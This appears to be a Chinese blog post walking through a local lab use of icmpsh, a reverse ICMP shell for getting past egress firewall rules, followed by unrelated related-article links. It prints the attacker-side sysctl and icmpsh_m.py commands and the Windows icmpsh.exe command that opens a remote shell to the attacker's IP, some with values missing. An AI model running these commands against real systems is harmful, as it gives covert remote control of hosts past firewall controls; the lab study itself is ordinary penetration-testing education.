前言

很老的一个技术了,学习下。

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活

场景介绍

有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。

当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。

然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而ICMP就是这个工具的重点。icmpsh是一个简单的 reverse ICMP shell,

它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。

它比其他类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。该工具简洁,方便和便于携带(跨平台)。

此脚本主要是针对windows的,他是一个C/S架构:slave(客户端)它是用C写的只能在windows上运行,

master(服务器)是跨平台的,作者将C和Perl已经移植到Python上了。

详细使用方法请参考:

https://github.com/inquisb/icmpsh#usage

本地实验

hacked:192.168.41.128

hacker:192.168.41.136

首先在受害者机器上,我用防火墙设置了一条出站规则,协议类型是TCP,端口是6060

我们在kali上用python2.7起一个在6060端口运行的服务器

80端口起的是apache服务器

本机访问

然后用靶机访问指定端口测试,出站规则是否正常

不指定默认,访问80端口

这里只是验证一下,说明一下如果服务器设置了出口访问控制列表的话,可以通过icmp协议完成一个reverse icmp shell。

kali:

使用第一条命令来关闭ping回复,这样可以防止内核自己对ping包进行响应,单单的用攻击者

sysctl -w net.ipv4.icmp_echo_ignore_all= >/dev/null
python icmpsh_m.py 192.168.41.136 192.168.41.128
#python icmpsh_m.py 攻击者ip 受害者ip

这里提示错误,看了下py文件

然后kali没有pip,就很无语。参考https://www.cnblogs.com/foe0/p/12217108.html

下的贼慢,然后安装一个包又贼慢,然后新版kali没装vxxxy又去配置去了,这一连串。

windows:

icmpsh.exe -t 192.168.41.136 -d  -b  -s 

执行whoami

反向icmp_shell的更多相关文章

  1. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  2. 【大型网站技术实践】初级篇:借助Nginx搭建反向代理服务器

    一.反向代理:Web服务器的“经纪人” 1.1 反向代理初印象 反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从 ...

  3. 使用python自动生成docker nginx反向代理配置

    由于在测试环境上用docker部署了多个应用,而且他们的端口有的相同,有的又不相同,数量也比较多,在使用jenkins发版本的时候,不好配置,于是想要写一个脚本,能在docker 容器创建.停止的时候 ...

  4. Windos环境用Nginx配置反向代理和负载均衡

    Windos环境用Nginx配置反向代理和负载均衡 引言:在前后端分离架构下,难免会遇到跨域问题.目前的解决方案大致有JSONP,反向代理,CORS这三种方式.JSONP兼容性良好,最大的缺点是只支持 ...

  5. Nginx反向代理,负载均衡,redis session共享,keepalived高可用

    相关知识自行搜索,直接上干货... 使用的资源: nginx主服务器一台,nginx备服务器一台,使用keepalived进行宕机切换. tomcat服务器两台,由nginx进行反向代理和负载均衡,此 ...

  6. 使用Nginx反向代理 让IIS和Tomcat等多个站点一起飞

    使用Nginx 让IIS和Tomcat等多个站点一起飞 前言: 养成一个好习惯,解决一个什么问题之后就记下来,毕竟“好记性不如烂笔头”. 这样也能帮助更多的人 不是吗? 最近闲着没事儿瞎搞,自己在写一 ...

  7. 使用nginx反向代理,一个80端口下,配置多个微信项目

    我们要接入微信公众号平台开发,需要填写服务器配置,然后依据接口文档才能实现业务逻辑.但是微信公众号接口只支持80接口(80端口).我们因业务需求需要在一个公众号域名下面,发布两个需要微信授权的项目,怎 ...

  8. 腾讯云下安装 nodejs + 实现 Nginx 反向代理

    本文将介绍如何给腾讯云上的 Ubuntu Server 12.04 LTS 64位主机安装 node 及 nginx,并简单配置反向代理. 笔者在整个安装过程中遇到不少麻烦(不赘述),如果你希望少踩坑 ...

  9. 简易nginx TCP反向代理设置

    nginx从1.9.0开始支持TCP反向代理,之前只支持HTTP.这是我的系统示意图: 为何需要? 为什么需要反向代理?主要是: 负载均衡 方便管控 比如我现在要更新后端服务器,如果不用负载均衡的话, ...

随机推荐

  1. Java - Java开发中的安全编码问题

    目录 1 - 输入校验 1.1 SQL 注入防范 1.2 XSS防范 1.3 代码注入/命令执行防范 1.4 日志伪造防范 1.5 XML 外部实体攻击 1.6 XML 注入防范 1.7 URL 重定 ...

  2. 01FPGA设计流程

    今天学习了FPGA设计流程的视频,我理解要做一个完整的FPGA系统,所要经历的步骤,先将它简单总结如下: 我在对上面的流程图进行解释: 第一:设计定义就是我们这个FPGA系统或者FPGA设计所要实现的 ...

  3. HDU - 1005 Number Sequence 矩阵快速幂

    HDU - 1005 Number Sequence Problem Description A number sequence is defined as follows:f(1) = 1, f(2 ...

  4. 高数解题神器:拍照上传就出答案,这个中国学霸做的AI厉害了 | Demo

    一位叫Roger的中国学霸小哥的拍照做题程序mathAI一下子火了,这个AI,堪称数学解题神器. 输入一张包含手写数学题的图片,AI就能识别出输入的数学公式,然后给出计算结果. 不仅加减乘除基本运算, ...

  5. flask中温柔显示404等错误

    写下下面两个视图函数,然后在模板中写下错误时展现的内容,当然模板名,函数名是可以改的哟@app.errorhandler(404)def page_not_found(error): return r ...

  6. 深入理解Java AIO(三)—— Linux中的AIO实现

    我们调用的Java AIO底层也是要调用OS的AIO实现,而OS主要也就Windows和Linux这两大类,当然还有Solaris和mac这些小众的. 在 Windows 操作系统中,提供了一个叫做 ...

  7. 数据分析_numpy_基础1

    数据分析_numpy_基础1 创建数组 方法 说明 np.array( x ) 将输入数据转化为一个ndarray| np.array( x, dtype ) 将输入数据转化为一个类型为type的nd ...

  8. 纯html加css的键盘UI效果图

    先上效果图: 没有打字的功能,纯属是个界面图(一时无聊写的) 代码如下: <!DOCTYPE html> <html> <head> <meta charse ...

  9. while实现2-3+4-5+6...+100 的和

    while实现2-3+4-5+6...+100 的和 可以看到规律为2-100内所有奇数都为减法,偶数为加法 设定变量 total=0: count=2 当count为偶数时与total相加,反则相减 ...

  10. stm32:实现呼吸灯

    1.main.c #include "sys.h" #include "delay.h" #include "key.h" #define ...